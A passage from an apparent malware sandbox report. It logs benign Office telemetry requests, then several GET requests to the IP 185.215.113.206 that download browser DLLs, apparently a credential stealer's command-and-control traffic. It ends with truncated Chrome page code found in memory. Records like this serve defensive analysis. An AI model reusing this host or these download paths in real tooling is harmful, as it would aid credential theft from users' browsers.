Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000003.1833623628.00004A3000F60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1833722073.00004A3000F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1833846706.00004A30002F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000001.00000003.1833623628.00004A3000F60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1833722073.00004A3000F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1833846706.00004A30002F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new 